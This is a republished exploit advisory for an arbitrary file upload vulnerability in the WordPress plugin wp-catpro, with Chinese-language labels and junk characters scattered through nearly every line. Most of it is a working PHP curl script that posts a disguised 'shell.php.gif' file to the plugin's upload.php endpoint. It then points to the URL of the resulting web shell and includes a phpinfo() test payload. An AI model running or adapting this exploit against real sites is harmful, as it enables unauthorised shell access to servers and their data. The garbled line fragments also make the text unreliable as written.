Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability5 c/ q. {6 ?# _, k+ J. |0 i
#-----------------------------------------------------------------------) |$ X$ J$ n1 a, e! T6 z
: u( X j7 C6 W0 E作者 => Zikou-16
! e6 w% P1 a* I邮箱 => zikou16x@gmail.com
; K) T0 {% ?# F$ V$ _测试系统 : Windows 7 , Backtrack 5r3
. d" I& ~! C6 r" Z下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
7 ~+ H9 J# D. k- k####9 n* K- t/ n4 Z$ M5 m8 W. S5 I0 B
& Q+ x; x% U( D3 t#=> Exploit 信息:
% x% ~% c: B1 Z$ d4 f* b7 ?------------------9 C8 U H2 x2 O* i- q- L
# 攻击者可以上传 file/shell.php.gif9 h& W0 B; G* R1 z8 J
# ("jpg", "gif", "png") // Allowed file extensions" B! f2 c" f8 {. G( j# W w2 i3 d( {
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
8 a: N9 Z. u% @& ~! {9 g# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format); Q; k' V+ g, ?! Z+ ]6 h
------------------
7 {- u9 c5 ~, `/ l) K7 d. V; @ 9 Y% O1 Z5 }/ _$ t5 p
#=> Exploit
. L5 h0 j7 a, p5 F5 u-----------
9 |5 K9 k/ v* s" x+ A5 N<?php
1 V/ x, A s X" A$ k- C
- G: q2 s6 l! P$uploadfile="zik.php.gif";
+ e! h& {3 G& I$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
, {* q# C+ E( D1 X% Kcurl_setopt($ch, CURLOPT_POST, true);) @0 m# J1 {! f6 o% X
curl_setopt($ch, CURLOPT_POSTFIELDS,
+ m n) E8 r) v: C `9 |array('Filedata'=>"@$uploadfile",, ]# ^& y+ \2 m' s# O. l( E
'folder'=>'/wp-content/uploads/catpro/'));& v Z( g! M: s& J% c
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);: L- w, L" p: g- P2 f
$postResult = curl_exec($ch);- r- \5 o n$ u0 ^! _( y0 Y
curl_close($ch);
6 E! R! h8 P1 A" D ( P; B) y7 k; [0 F: g- s6 A" F0 Z2 G: n
print "$postResult";
; S- Z- L9 n' F1 O' G * c$ |' c9 I& |7 U3 g$ m6 e
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
/ d: Z* [$ P% B. A/ Q/ z ?>
# D1 J# Z2 I' i<?php& n1 ?- z9 ~7 u4 ^2 u7 x: b1 v) T
phpinfo();" B {6 e- i+ ~9 \3 r% T
?> |